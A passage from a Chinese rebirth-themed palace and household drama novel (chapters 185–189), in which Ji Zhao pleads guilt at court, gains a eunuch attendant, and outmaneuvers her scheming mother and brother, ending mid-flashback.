外面突然有下人禀报,大夫人的船已经到了码头了,让人安排去接。 纪昭瞧了瞧时辰还很早,心里笑了笑。 她吩咐管事派人驾了马车去接。 管事过了一会儿来说:“府中的马车不够,人手也不够。” 纪昭:“少了几辆?” 管事:“大夫人那边的人说要三辆马车,牛车四辆,可府中只有马车三辆,侯爷要用,大小姐也要用的。” 纪昭微微蹙眉:“拿银子去街上雇。” 管事去了。 等纪昭打扮妥当要出门,管事又面露难色回来。 管事:“大夫人发了脾气。说外间雇的马车又脏又臭,要府中的马车去接。” 纪昭沉下脸来。 大夫人这是矫情了。 她就差说要晋阳侯带着人亲自去接了。 从前大夫人从娘家回京都事前说好时辰,晋阳侯就巴巴去接这位娇妻。 而如今晋阳侯怎么还会这么对她? 纪昭对管事说:“你回大夫人,侯爷上朝要用车。我也要进宫。若是她实在要侯府的马车去接,等到正午吧。” “兴许就有马车来接她了。” 管事一脸为难。 纪昭又道:“你说完人就走,不用理会。大夫人找不到人,自然不会为难你。 若是大夫人真的发脾气了,就劳烦她在码头等一等吧。” 纪昭说完上了马车。 在马车上,纪昭心烦。 大夫人提前回来,还这个节骨眼上,她预料到了。心烦的是大夫人还和从前一样虚荣张扬,不顾其纪府其他人死活。 终究是亲母。 明知道她会得到报应和惩罚,但乍听闻还是如从前做派,心绪很复杂。 晚意见纪昭面色不好看,低声劝:“大小姐别烦心了。大夫人一贯如此。” 纪昭点了点头。 她整了整面色,平静如水地往宫里赶去。 她知道,萧烨会在宫门口等着她。 …… 码头上,大夫人坐在船上心烦意乱等着侯府来人。 管事终于来了,将纪昭的吩咐说了。 大夫人大怒:“她什么意思?她去宫中怎么没轿子?” 管事硬着头皮:“大小姐说,实在是凑不开马车。一辆马车已在侯爷下朝的地方等着,大小姐也该早早进宫给皇后娘娘请安。” “要不大夫人再等等?” 大夫人:“等?百善孝为先,她不来亲迎我这亲母,倒是上赶着……” “大夫人,慎言!”身后传来虞嬷嬷冷冷的话,“这里人多,有些话只能吞在肚子里。” 大夫人心里一惊,随即满头冷汗。 她差点就说了错话。 这句“上赶着去见皇后”说出口,那就是大不敬之罪。 虞嬷嬷:“大夫人可别忘了。君君臣臣,父父子子。君在臣之前,也在父子之前。如今大小姐有出息了,被赐婚给睿亲王。将来就是命妇,受皇后娘娘管着。” “她先是臣,才是大夫人的女儿。这尊卑顺序可别弄错了。” 大夫人忍着气:“虞嬷嬷说的是。” 虞嬷嬷问管事:“府中派了一辆马车?” 管事:“是的,只有一辆。” 虞嬷嬷对大夫人道:“将船上一些贵重东西都搬到马车上。大夫人也一起跟着回府,剩下的箱笼让人看着,雇几辆马车运回去就是了。” 大夫人冷着脸:“我自有分寸。” 虞嬷嬷却不惯着她,冷冷道:“大夫人愿意在这里等着府中的马车就自个等着吧。老身是不陪着等了。” 她说完由小丫鬟扶着下了船,直接上了马车,扬长而去。 大夫人看得脸上神色变了又变,说不出话来。 第185章 进宫向皇上请罪 纪昭到了宫门口,果然瞧见睿亲王的车马已经在等着。 有一位很机灵的内侍笑眯眯迎了过来。 他十分殷勤帮车夫拿车凳,一边拿一边说:“王爷已经等着了。不过王爷说不急,准王妃是女子,自然是慢点来。” 纪昭见他面生,问:“从前没瞧见过你。你叫什么?” 小内侍笑嘻嘻:“奴婢贱名康全安。准王妃叫奴婢小安子就行。是九千岁指派服侍王爷的。” 他又说:“初准王妃,惊为天人,像仙女下凡似的。” 纪昭笑了笑:“原来是康公公。” 康全安见纪昭这么客气,愣了下,随即伸出手臂让纪昭搀扶着。 纪昭见他卑躬屈膝,摇头:“不用。我走得动路。” 康全安被拒了也不尴尬,在旁边引路。 纪昭到了萧烨的马车前。 康全安急忙掀了帘子,禀报:“王爷,准王妃来了。” 从半开的车帘中,纪昭见到了萧烨。 他今日穿着深紫色亲王衮服,头戴紫金冠,外罩同色鲛纱罩衣,腰间是一条镶八宝金织带。 他面容一如既往冷峻,不苟言笑。 只是紫衣衬得他越发如神祗似的高高在上,望尘莫及。 萧烨看了纪昭一眼:“上来。” 康全安利索地搬过车凳。 纪昭上了马车。 马车缓缓驶入宫门。 虽知道萧烨能在宫中马车行走,纪昭还是有不自然的感觉。 她随便找了个话头,问:“康公公是新人吗?” 萧烨:“是魏曹公给的。他忙得很。有时候要用他,脱不开身。干脆他就将干孙子给了孤。” 纪昭苦笑不得:“干孙子?” 萧烨:“太监们最近时兴起了认干儿子,干孙子。魏曹公权极大,位又高,没人配当他干儿子,所以从干孙子认起。” 纪昭只觉得荒谬,但转念一想太监是无子无孙之人。 认干亲也许是一种慰藉。 纪昭:“康全安看着很机灵。” 萧烨:“不机灵也不会派给孤。魏曹公识人很有一套法子。他能放心将这人举荐来,一定有过人之处。” 纪昭含笑:“他话多,前后张罗得很妥帖,能给殿下省不少事。” 萧烨点头。 他想到什么,又道:“等大婚时你也得陪嫁四个有品级的女史,八个太监,八个宫女,十六个陪嫁丫鬟。一干仆从等。 到时候我让魏曹公挑几个送到王府先训练着。等到了大婚送到侯府,然后一起过来。” 纪昭道谢:“多谢殿下费心。” 萧烨不以为意:“这点小事本就应该替你张罗。” 他想了想:“你夸康全安,要不就送给你用。” 纪昭连忙拒绝:“不,这是魏曹公特地拨给殿下用的。小女不敢占用。” 萧烨:“这不值什么。魏曹公的干孙子好几个。” 纪昭:“……” 两人说着话便到了崇阳门。过了这道门便到了御书房,是不能再进一步。 萧烨下了马车,纪昭跟着下来。 康全安手脚麻利地跑前跑后,十分尽心。 纪昭看在眼里,心里隐约后悔刚才拒绝太快了些。如康全安这种眼里有活,能来事的太监百里挑一。 而且魏曹公能送到萧烨跟前,一定也是极忠心的。 守门的太监见萧烨来了,赶紧去通传。 两人等不了多时便到了御前。 皇帝应该是事前知道了两人来意,眼底若有所思。 他含笑道:“十四弟媳特地进宫来,是来催朕定大婚日子吗?” 纪昭急忙跪下:“臣弟媳不敢。” 皇帝笑呵呵地让人看座。 萧烨将事情简单说了,道:“这事请皇上示下,一概要打要罚分一半给臣弟。阿昭是无辜的,她三年都在西山温泉别苑,实在是不知亲母如此恶行。” 纪昭又跪下:“请皇上严惩侯府。臣弟媳毫无怨言。” 皇上笑了:“说得这么吓人,朕是那种不问青红皂白之人吗?” 纪昭听了这话心中暗自松了一大口气。 皇帝又说:“不过,这事的确兹事体大,牵扯到了睿王府和侯府,朕也是不得不罚。不罚的话何以服众?……” 萧烨:“臣弟愿代替阿昭认罚。” 皇帝看了他一眼,似笑非笑:“你要怎么认罚?” 萧烨:“臣弟愿意交出手中西北二十万兵马大权,从此以后不问政事。” 皇帝:“……” 一番商谈之后。果然皇帝只要萧烨卸了一支二万人精锐兵权,其余的罪罚一笔抹去。 纪昭又说要交十万两赃银,皇帝并没有说收了,只说给了魏曹公去追偿苦主。 大事定了,皇帝让纪昭去向皇后请安。 纪昭知道这是皇帝有话要与萧烨说,自己不便多听。于是她跪安后便去了中宫。 皇后已经在殿中等待。 她见纪昭来了,笑着招手:“快些来坐。一会儿阿澈也来,说要与你讨论兵法。” 纪昭:“小女兵法稀疏,睿王用兵如神。太子殿下随着王爷学比较好。” 皇后笑道:“阿澈刚学哪敢在他皇叔面前卖弄?” 说话间,皇后让纪昭坐在自己身侧。 纪昭婉拒不敢。皇后笑道:“等大婚后你我就是妯娌,按着十四的称呼,你得叫我皇嫂。” 纪昭这才道:“礼不可废,有尊卑才是正经。” 她坐在了皇后凤座下边。 皇后今日十分高兴的样子,拉着纪昭说了不少话。 她问纪昭今日来见皇上为了何事。纪昭本想隐瞒,但转念一想早晚皇后得知道。 于是她悄悄说了。 皇后本只是闲话八卦,结果越听越是心惊。 她同情看着纪昭:“你母亲实在是坑苦了你。如今大婚在即,唉……” 纪昭:“皇上大恩不予追究,这已经是万幸了。” 皇后不以为意:“这不算什么大事。就是你太过小心罢了。” 正说话间,太子萧澈来了。 纪昭总算是知道皇后为什么高兴。因为太子萧澈拔高了一节,脸色红润,比先前赢弱苍白简直是换个人似的。 太子萧澈给皇后请安,然后和纪昭见过礼。 他问:“十四皇叔在哪儿?” 纪昭:“正在御书房与皇上说话,过一会便来了。” 她说完又觉得不妥,改口:“也许会过来。” 太子萧澈笑道:“十四皇婶婶在这儿,皇叔肯定过来。” 果然,外面有皇帝笑声传来:“阿澈竟料事如神。你十四叔硬是要过来。朕只能陪着一起。” 第186章 萧烨给了她一个人才 众人拜见皇帝。 皇帝兴致不错,与皇后坐在一起,考起了太子萧澈念的书。 纪昭总觉得自从行宫遇刺后皇帝好像变了,与皇后琴瑟和谐,对太子萧澈也是极有慈父的样子。 要不是知道皇帝没几年好活,眼前这一幕当真是温馨得紧。 萧烨脸上却没有多少高兴神色,甚至有点阴沉。 纪昭寻了个机会,四下无人时,问他。 萧烨沉默半天才开口:“没什么大事。皇帝要给我再塞两个侧妃。” 纪昭:“……” 萧烨冷笑:“随便他高兴,两个也行,四个也行,若是他高兴十四个也一样。总之在王府中也就多几副碗筷的事。” 纪昭:“……” 萧烨的声音沉冷中带着愠怒。 纪昭知道他是真生气了。 旁人多几个美娇娘是喜事,但对萧烨来说简直是麻烦中的麻烦。 纪昭愧疚:“是我的错,侯府的事连累了王爷。” 她道歉了,萧烨似怒气消了不少:“与你无关。” 他面无表情道:“孤答应皇帝送她们进来,可没答应全须全尾地让她们出府。那些世家的手太长了,是时候得给点颜色瞧瞧。” 纪昭听得心惊担颤:“殿下别冲动。万事大局为重。” 萧烨看了一眼:“让孤大局为重,那就是这个大局里面没有孤。你可别和那些庸才一样犯糊涂。” 纪昭低头:“是。小女不敢。” 萧烨说完气似顺了许多。 到了正午,皇帝留午膳。 纪昭陪着一起用了。 真正的天家礼仪是寝不言食不语,所以用膳时除了碗碟轻碰发出声音外,没有别的声音。 纪昭心事放下,吃饱了。 她看太子萧澈用的也多,荤素搭配,看样子果然纠正了膳食的偏颇。 用茶时,皇帝与萧烨说了话。 “朕与你说的名册你早点定下来,到时候让钦天监算个良辰吉日。” 萧烨冷哼一声:“皇上定就行。” 皇帝见萧烨不高兴,似乎就高兴了。 他对皇后说:“十四弟答应多两位侧妃。你替他选选,册子拿给你定夺。” 皇后歉然看了纪昭一眼:“这个……” 纪昭假装没听见,只看着面前的汝窑茶盏。 萧烨突然问她:“你看什么?” 纪昭猛地抬头,正对上他不悦的目光。 她胡诌:“见这汝窑的茶盏好看,是今年新上贡入宫的吗?从前没见过。” 萧烨:“你喜欢的话,让皇嫂送你一套。” 纪昭:“……” 皇后连忙道:“送,我这儿还有几套没用过的,衢州的窑烧出来的也不错。还有官窑近日烧了一批天青色的素瓷,也极好看。” 纪昭:“……” 最后皇后赏了四套茶盏,还送了一套八宝缠金头面,首饰绸缎若干。 纪昭看着眼前这满满登登的赏赐,一时竟不知道自己进宫是来请罪,还是来领赏的。 萧烨却很是瞧不上,冷笑:“都是不值钱的玩意。” 他又不高兴了。 纪昭却很是习惯他的冷脸,道:“不错了,原本以为皇上会降罪。反而恩赏了。” 萧烨听了这话,盯着她瞧。 他一双深眸幽冷沉静,带着深思。 纪昭莫名:“小女说错了什么吗?” 萧烨收回目光,冷淡道:“没什么。既然事都办了回府吧。” 两人出了中宫,到了宫门处上了马车。 纪昭见萧烨特地与康全安说话。 过了一会儿,康全安颠颠地过来:“王爷让奴婢护送准王妃回侯府。” 纪昭正打算婉拒。 康全安已经很熟稔地搬车凳,招呼车夫和丫鬟。他对晚意和晚秋十分恭敬,一口一个“姐姐”喊着。 然后等都归置齐整了,康全安跟在马车旁。 纪昭没见过这么机灵的太监,有心与他说话便让他坐上车辕。 康全安笑眯眯谢了赏坐上了。 纪昭问起认干孙子的事,康全安很坦然承认,还十分自得道:“九千岁说了,所有的太监中就奴婢最机灵肯干。奴婢跟着王爷以后会出头的。” 纪昭心中一动,问起康全安在宫中哪儿当值。 康全安想了想,低声说:“从前是在贵妃娘娘殿中当值。这些日子贵妃娘娘用不了那么多人,九千岁就将奴婢领出宫了。” 纪昭突然明白了。 余下的路上她也不好奇了。 到了侯府,康全安又是麻利地搬车凳,扶人。 康全安与纪昭告辞,突然说:“王爷刚在宫门口吩咐,以后准王妃要有什么事要跑腿做事的,不管什么苦的累的脏的,统统交给奴婢。” “奴婢能干活,使唤一声绝对赴汤蹈火,准王妃千万不要客气。” 纪昭听了这话眉一挑,不说话。 康全安笑眯眯的:“王爷是这么吩咐的,奴婢也是想为准王妃效力的。” 纪昭知道这个时候不表态不行。 她含笑:“那以后就有劳康公公。” 康全安:“还是叫奴婢小安子吧。奴婢贱名听着顺耳。” 纪昭笑了笑:“有大名何必称贱名?以后康公公会有大前途的。” 她说着从晚意给了一个包着银子的香囊。 康全安笑眯眯接了过去,又谢了赏。 纪昭进侯府后,晚意道:“那小公公拿了赏银也不走,站在门边恭敬瞧着大小姐进去才离开呢。” 纪昭点头:“是个很会来事的公公。以后你们见了他要给他体面和尊重。” 这八面玲珑的人才,萧烨竟然一声不吭地就给了她用。 不知怎的,纪昭突然觉得萧烨给的真的很多。 皇后赏的东西,瞬间觉得好像真的拿不出手。 …… 到了晚间,西正院有人传话来,说大夫人要见她。 纪昭停下扒耳坠的手,问:“有说什么事?” 来人是申嬷嬷。 申嬷嬷小心翼翼瞧了一眼纪昭,笑道:“没什么大事。这不大夫人回府,想大小姐了。大小姐也该过去请个安,顺便用个晚膳。” 纪昭笑道:“请安是应该的。只是正好从宫里回府,还没来得及去。” 她又问:“还有谁去?” 申嬷嬷:“二公子,还有表小姐。” 纪昭听了这话,笑了笑:“好,我一会便去。” 申嬷嬷见事情交代完了,又恭维了纪昭一句就赶紧走了。 晚意瞧了一眼,冷笑:“那老婆子像身后有鬼追着似的。一副做贼心虚的样。” 纪昭笑了笑,不语。 自从上次小惩大诫整治了申嬷嬷的侄儿后,申嬷嬷是怕她的。且自那次后申嬷嬷在府中的地位一落千丈,好处也得不到半点。 晚秋给纪昭拿来衣衫,忧心忡忡道:“大夫人会不会为难大小姐?要不,还是请个安就走吧。” 纪昭看了看天色:“不怕。天要下雨,娘要发火,随便她。” 她改了个俗语,说出来很应景。 大夫人要朝她发火罢了。 第187章 大夫人找茬要骂纪昭 纪昭到了西正院,二公子纪蓉和白沁雪已经到了。 他们在里屋陪着大夫人说话。 大夫人气色不错,身上衣衫颜色也很时新,眼眸明亮,皮肤光滑,俨然已恢复了元气。 看得出从前被晋阳侯娇宠的资本,美貌、风韵犹存。 纪昭上前问安行礼。 大夫人看了她一眼,不说话,慢悠悠端起茶盏喝了起来。 纪昭站着。 气氛变得微妙,纪蓉装作没瞧见低头喝茶。白沁雪小心瞧了一眼纪昭,想说什么又欲言又止。 纪昭知道大夫人这是要给自己下马威,随即笑了笑径直坐在旁边的椅上。 大夫人柳叶眉一挑:“我让你坐下了吗?” 纪昭笑道:“母亲意思是不让我坐着回话了?” 大夫人怔愣,她许是没料到纪昭这么从容。 大夫人冷笑:“别以为如今睿亲王给你撑腰,你就不把双亲放在眼中了。” 纪昭很平静:“母亲这是说什么话?女儿何时不把双亲放眼里了?” 大夫人脸上有了愠怒:“还说不是?我且问你,我不在府中几日,怎么西正院少了那么多人?你是不是背着我将他们都驱逐出府了? 我可告诉你不要乱来,他们大多是家生子,身契还在我手中。” 她愠怒中带着些许的不安。 大夫人今日回府就发现西正院奴仆少了许多。从前的老人竟去了十之七八,问起来一个个都摇头不知。 刚又让纪蓉和白沁雪来,她问起来,两人也是支支吾吾。 大夫人心生疑虑,这才命申嬷嬷将纪昭唤过来问话。 纪昭低头吹了吹茶盏上的浮沫,头也不抬:“母亲说的那些人都去庄子帮忙了。年前受了雪灾,庄子今年收成眼见不好,祖母说要多种点瓜果,所以把他们都送回去干活。” 她扯了个事前和祖母,还有父亲说好的谎。 大夫人疑心没去,皱眉:“他们怎么能干活?你把他们都唤回来。” 纪昭:“人都送回去了,得过阵子才能回来。” 大夫人越发压不住怒火,一拍桌子:“别以为老夫人让你当家,你就可以磋磨亲母!纪昭,你的孝道呢?” 纪昭放下茶盏,明眸神采冰冷:“母亲不用拿孝道来压女儿。女儿做的事全是为了侯府好。” 大夫人冷笑:“为了侯府好?西正院如今人手短缺,这就是为了侯府好?” 纪昭不愿意和她扯下去,看向白沁雪:“表妹,母亲刚回府,许是劳累上火,烦你做点下火的汤药来。” 白沁雪欲言又止,最后点头:“好。” 大夫人狐疑看着纪昭,再看看白沁雪,眉心皱得更深。 她不明白几日不见,怎么自己两个大帮手成了锯嘴的葫芦。 不但不帮忙,还很怕纪昭的样子。 难不成因为纪昭未来的身份? 可这东西,若是她手段了得纪昭能不能成为睿王妃还是两说……大夫人是如此想的。 纪昭已经起身,道:“母亲一路劳累,女儿就不打扰了。且先告退,明日还得料理宴席呢。” 大夫人怎么能让她走? 大夫人:“你急着走做什么?下人的事且先不找你算账,宴席的事你是不是得交代一下?” 纪昭:“宴席是祖母让设的,为的是府中两位姐妹定亲相看。一是二堂妹纪璇静与忠义伯爵府二公子的婚事,还有便是庶妹纪灵与周家的婚事。” 大夫人眉心皱得更深:“纪灵?她何时相看了周家?哪个周家?” 白沁雪在旁低声说:“是京城城南的周家。” 大夫人倒吸一口冷气:“世家周家?周府的哪位公子?” 纪昭按着性子,道:“周家的庶子周行知。” 大夫人已经没心思追究下人的事,一门心思想着纪灵何德何能攀世家的庶子。 她阴阳怪气:“果然是我的好女儿。这一出手就攀上世家的姻亲,以后这院子里妹妹的终身大事都得靠你。” 纪昭笑了:“母亲谬赞。这婚姻大事还得长辈做主。” “呵,长辈?你眼里还有长辈吗?”大夫人讥讽,“还没出嫁就已经不把长辈放在眼中了。这桩桩件件,你主意大的很!” 纪昭脸色很平静。 言语是淬了毒的毒箭,但却再也伤不了她半分。 一直在旁边装鹌鹑的纪蓉突然不耐烦说:“母亲,别说了。” 大夫人被他的暴躁打断,吓了一跳。 纪昭似笑非笑看了一眼纪蓉,道:“二哥有空劝劝母亲,上火归上火,不要拿人发作的好。” 纪蓉咬着后槽牙:“你与我出去说话。我有话要问你。” 纪昭巴不得赶紧离开这个鬼地方,遂点头答应了。 到了外间,纪蓉压低声音,恨恨问:“张保富去了哪儿?” 纪昭佯装没听懂:“什么张保富?我没见过她。” 她的确没见过,因为张保富在见她之前就被抓了。 前世张保富在纪府倒了之后携巨额银钱潜逃,躲在乡下做了十几年的富裕乡绅。过得逍遥自在,后被山上一伙贼寇知道他家中藏有巨富。 在一个月黑风高的夜里,贼寇将张保富一家杀了,赃银抢了个精光。 所以今生张保富被拘走,纪昭觉得很应该。 报应提前了而已。 纪蓉见纪昭一副从容自在的样子,心里越发没底。 他是知道张保富手握的秘密,也知道这秘密一旦被抓住大夫人和自己就全完蛋了。 但,这两日侯府奇怪得很。 西正院的老人一个个神奇消失,说是送去乡下庄子帮忙,但仔细问起来没人告诉他原委。 纪蓉又不敢乱问,生怕自己泄露了什么。 至于去找父亲晋阳侯,纪蓉更是不敢去。 眼下,纪蓉问不出什么来,只能缓了口气:“好妹妹,我找张保富有事。你告诉我他到底去哪儿了?” 好妹妹? 纪昭讥讽一笑:“二哥好像第一次唤我好妹妹。为了一个下人,二哥竟然不惜求到我头上了。” 纪蓉尴尬,又求:“好妹妹,我真是有急事找张保富。” 纪昭:“二哥找他什么事?” 纪蓉往里面看了一眼,低声求:“我有份生意分红在他身上,我要用钱。他人又找不到……” 纪昭听了从心里冷笑了。 纪蓉真是狗改不了吃屎。他原来缺钱是为了那个青楼姬女。 第188章 大夫人不死心还要搞事 纪昭想定,故做漫不经心笑道:“原来是这等小事。二哥缺多少?我看看先帮你垫上。” 纪蓉没料到纪昭竟然肯帮忙。 他大大松了口气:“好妹妹,我就知道我们亲兄妹绝不会如此生分。你若是肯先垫我一点,我将来有了银子定双倍还你。” 纪昭看着纪蓉一副猴急的样子,就明白那叫做潇潇的女人起了作用。 要不是那女子一个劲催他给钱,恐怕纪蓉是断然求不到自己头上,也不会掉入自己预设下的陷阱。 纪昭敷衍了两句,问:“二哥要多少。” 纪蓉想了想:“三千两。” 纪昭皱眉:“二哥要这么多做什么?” 纪蓉心虚,赶紧改口:“二千两。二千两就够了。” 纪昭故意往里屋看了一眼,叹气:“银子我是有,不过要是母亲追问起来又骂我可怎么办?” 纪蓉赶紧保证:“你放一百个心。母亲那边我会说好话,你等着,一会我进去与母亲说说,她断然不敢找你麻烦。” 他得意:“母亲最是听我的话。” 纪昭心里冷笑了两声,口中道:“行吧。银票一会我让晚意送到二哥院子里。” 纪蓉简直要感激涕零,连连哄着纪昭说好话。 又说:“好妹妹,这送银票可不能让你二嫂知道。她孕中脾气不好,疑心病太重。可千万不要让她闹腾起来。” 纪昭答应了。 出了西正院,纪昭看着落日,唇角勾起一抹笑。 日落西山,虽有余热但已经颓势尽显,再也掀不起什么风浪。 …… 纪昭这么想,但西正院那一对真正的母女却不是这样想的。 纪蓉走了后,白沁雪急忙握住大夫人的手,压低声音:“母亲可见到了父亲?” 大夫人眼睛亮了起来:“见到了。你父亲今年很有可能中举,前些日子他没书信原来是去拜访了国子监祭酒刘大人。弯弯绕绕通过好些个人才举荐到了刘大人面前。” 她满脸都活跃了:“刘大人很欣赏他,收了他当学生。等明年秋试,他就可以安心考试。” 白沁雪长长松了一大口气,眼里竟然有泪花。 大夫人感叹:“你父亲一身才华,一直得不到赏识的人。终于有盼头了。刘大人名下下的门生十个有五六个都能上榜。” 白沁雪擦了擦眼泪:“这就好。不枉费父亲寒窗数十载,若是父亲中了榜,有了官身,我也可以认祖归宗。” 大夫人听到“认祖归宗”心情越发复杂:“苦了你……” 母女两人说着抱头哽咽。 哭了一会儿,大夫人擦了眼泪,道:“我这次去给了你父亲不少体己钱,让他去疏通关系,最重要的是千万要讨好刘大人。” 白沁雪只觉得一口郁气都散了大半。 而这郁气竟然是从纪昭回府就一直压着她打的结果。 白沁雪收回思绪,继续道:“只要父亲高中,虽然年纪大,但也不怕。女儿顶不济也能嫁入皇家,将来里应外合能给父亲谋个好差事。” 她说的是“嫁入皇家”,大夫人听的却以为是她要成为三皇子的姬妾。 大夫人皱眉:“庞贵妃瞧不上你,又对你有怨言,现在三皇子无缘太子之位。这桩婚事要不还是找个法子退了吧?” 白沁雪没接话。 她当然不能主动说出在承御行宫中干的蠢事,也不能说自己和谋逆的齐王私下有协议。 这些说出来全是丢脸的丑事,会被大夫人骂死。 白沁雪心道:只希望纪昭不要再拿这些把柄发作我,安心等她嫁人了,我再谋求入宫。 等我入了宫,再寻时机成了宠妃,到时候还不怕没机会狠狠整治纪昭不成? 大夫人见白沁雪走神半天,还以为她还将期望寄托在三皇子身上。 大夫人推了她一把:“为娘和你说话呢。难道你喜欢那三皇子?” “不,女儿哪有喜欢三皇子?”白沁雪否认,“女儿是在想,如今三皇子无缘太子之位,还不如再另选出路。女儿想……入宫。” 大夫人怔愣片刻,点了点头:“入宫也是一个法子,就是比较难了点。” 白沁雪说出心中的计划。 大夫人越听越是惊讶:“你竟然都搭上了安南太妃?那位郑夫人你是怎么找到的?” 白沁雪自然不能说是自己通过齐王安排的。 她含含糊糊敷衍:“是通过父亲好友介绍,正好那位来自衡阳的郑夫人家在京城,所以就见了。” 大夫人松了口气,夸:“你父亲真是有能耐,将来就指望他了。” 白沁雪笑了笑:“母亲才是有福气的。我们的好日子在后头呢。” 大夫人舒展了眉头:“是,暂且再忍耐一段时日。你明年也及笄了,到时候入宫,你父亲正好高中……” 她说得眼眶湿润:“早点逃出这苦窝,我这十几年忍辱负重才算是到头了。” 她心中耿耿于怀便是家道中落不得已嫁给了身为武夫的纪世德。 就算是婚后纪世德对她娇宠万分,还生下一子一女,秦氏依旧觉得纪家亏欠了她。 哪怕纪府如今是侯府,而自己靠着亲生女儿纪昭得了诰命,秦氏依旧是不知足。 不但不知足,还怨念深重。 她不敢把怨气发泄在丈夫身上,于是发泄在纪昭身上。 所有所谓的亏欠,都是算在了纪昭的头上。 大夫人忽然道:“这次宴席是个好时机。” 白沁雪:“什么好时机?” 大夫人笑容刻毒:“做个事,夺了她的管家权。让她安心待嫁。只要她不碍事,我才好方便运作。” 白沁雪皱眉:“来得及吗?” 大夫人:“事在人为,来得及。” …… 纪昭回了紫棠院,吩咐晚意拿二千两银票给纪蓉送过去。 晚意吓了一跳:“做什么这么多?” 纪昭并不在意:“先给他,让他安分点。再说这笔银子最后还是会回来的。” 晚意只能去了。 此时,管事嬷嬷送来最后定的礼单,说:“大小姐再过目一遍,这是明日送给忠义伯爵府夫人的礼,还有周家大夫人的礼。” 纪昭接过,随意翻了翻:“我一会儿再看。明日宴上的食材都准备妥当了吗?” 管事嬷嬷道:“大小姐放心,一概都检查了三遍。” 纪昭点了点头。 若不是这次萧烨和陈王要来,她也不会如此担心。 从前侯府根本没接待过如此贵重的客人,这还是头一遭。 此时两位教养嬷嬷来了,纪昭将礼品单给了两位。 “两位嬷嬷是宫中来的,帮忙看看,万一有哪个不妥也能及时改正。” 第189章 玉碎挡劫 两位嬷嬷恭敬接了过去,仔细看了起来。 陈嬷嬷:“都合规矩,送的中规中矩的,也不张扬也不露怯。” 纪昭放了心。 前世她没有持家经验,人情往来也没沾手过,两位教养嬷嬷可以很好弥补这方面的缺陷。 纪昭又问招待客人方面还有什么要添置的。 黄嬷嬷:“夏日到了,可以买点冰来。贵人们都习惯用冰。” 陈嬷嬷:“是的,消暑用冰是常态。也可以立一个凉得快在宴饮的厅旁。里面灌了河冰。” 纪昭让晚秋记下来。 两位嬷嬷见纪昭虚心,十分高兴,说起了宫中的一些习俗规制。 纪昭很乐意听。 因为有些很重要的规矩都在小细节上,用寻常闲话说出来,她记得更牢些。且两位教养嬷嬷还会时不时讲起宫中一些人与事。 纪昭就当故事听了,津津有味。 正说话间,春翠悄悄进来了。 纪昭见她来了,眉心一跳。春翠来肯定是带着春兰的消息。 两位嬷嬷很有眼色地告辞离开。 春翠悄悄道:“春兰说表小姐从西正院回来后就挺高兴的,还破天荒赏了丫鬟们一些不吃的点心。” 纪昭皱眉:“有什么异样?” 春翠:“春兰说表小姐其实很抠门,从前点心放得干硬了都不给底下丫鬟们吃。弄得沁芳阁的小丫头实在是馋其他院的。今日倒是破天荒了。” 纪昭若有所思。 事出反常必有妖。虽然乍一看没看出什么来,但能让白沁雪“大方”赏赐,那应是大夫人那边有了什么好事给了她。 可究竟是什么? 难道是大夫人从衡阳老家带回什么好消息?还是两人想到了什么好法子破局? 纪昭问春翠:“你姐吃了点心没?” 春翠道:“她没吃。大小姐吩咐过了给的吃食都得小心,春兰很小心的。而且我也经常偷偷给她塞点好吃的糕点让藏起来,应急可以垫垫肚子。” 纪昭:“那是辛苦她了。你让她再忍耐一阵子,应该会有结果。” 春翠:“这个不打紧。春兰说我们姐妹俩是大小姐救的,命都是大小姐的。做点小事而已。” 纪昭与春翠又说了两句,春翠又出去了。 到了晚间,奶娘文氏进来照看纪昭。她见纪昭依在大窗边,若有所思。 奶娘文氏:“春翠那丫头说了什么话让大小姐寻思到了现在?” 纪昭说了。 奶娘文氏轻笑:“还以为是什么事。大夫人回来了能给表小姐撑腰了,自然是高兴。大夫人不在的时候,表小姐唯唯诺诺的,活像个鹌鹑似的。” 纪昭心中一动:“奶娘也觉得大夫人会给白沁雪撑腰?” 奶娘文氏:“肯定的。不过大夫人是不知晓自己自身难保,所以应该是给表小姐画了饼。” 她说着给纪昭铺床,点香。 奶娘文氏是自从纪昭出生就一直看顾的。事事亲为,如今年纪大了,纪昭不让她这么辛苦,奶娘文氏才渐渐卸了许多差事。 但每夜的铺床,奶娘文氏都得过来亲自整一遍,然后与纪昭说两句才算是心里安定。 纪昭习惯了这样的照顾,也愿意与奶娘说点体己话。 在她心中,奶娘文氏已经是等同于亲母一样的人物。 纪昭瞧见奶娘文氏头发白了几根,又瞧见她手腕上的镯子成色差。 她笑着说:“奶娘的镯子换一对。先前的不太好。” 奶娘文氏:“不用,这镯子戴了好些年头了。” 纪昭坚持,让晚秋去取了一对翡翠手镯。 这手镯是先前纪昭在西北买的,原本想着回京孝敬祖母,但回了京出了救驾之事。她受了伤,赏赐的东西很多被大夫人用各种借口拿走了。 这对镯子因为成色不算好才得以保留。 现在如今正好给奶娘——戴上既不算太贵重,也不会失了身份。 镯子取来,奶娘文氏戴上刚刚好。 她乐得合不拢嘴,笑道:“正正好。原本这是要孝敬老夫人的,没想到最后便宜了我这个老太婆。” 纪昭笑道:“祖母那边我自然是送了好东西孝敬。这镯子成色正好。等我以后得了自由,再给奶娘添置一些东西,到时候没人会盯着瞧。” 奶娘文氏奇怪,问:“什么自由?以后大小姐是要做睿王妃的,身份尊贵,担的责任也大。” 纪昭想起自己和萧烨的约定,笑了笑,不解释。 有了这一出,纪昭睡意没了,索性让晚秋把自己的首饰匣子拿出来。 有的首饰旧的,不起眼的,便赏了晚意和晚秋。 让她们戴着,或是拿来存着做体己。 晚意晚秋两丫头推着说不要,说纪昭平日赏赐的多,再要就不合适。 纪昭笑道:“给你们还不赶紧收着。以后说不定我是个吝啬的主母,什么都不给你们。” 晚意晚秋都笑了:“大小姐不是这种人。” 主仆四人坐在大榻上有说有笑。 纪昭一阵恍惚。 掐指算算,她回京大半年了,也就今日松泛快活。好像不用担心大夫人和白沁雪再起什么幺蛾子。 不过,心里还有点不安。 只是不知道这不安从哪儿来。 正说话间,晚意的手不小心碰到了榻上矮几上奶娘的镯子。 镯子掉在地上瞬间摔成了好几截。 晚意赶紧念佛:“阿弥陀佛,碎碎平安。” 奶娘文氏:“这镯子有灵性,应该是缘尽了。我得好好把它包好寻个好地方把它葬了。” 纪昭看着碎了的镯子,脑子突然嗡的一下想起了一件旧事。 前世奶娘文氏是被大夫人打死的。 罪名是污蔑打坏了她一对极贵重的翡翠玉镯,当时纪昭罚在佛堂反省,原本罚过要出去,又闹出这个事。 她去求情,去辩解,大夫人却不依,还搜了奶娘文氏的房间,搜出一包金银。 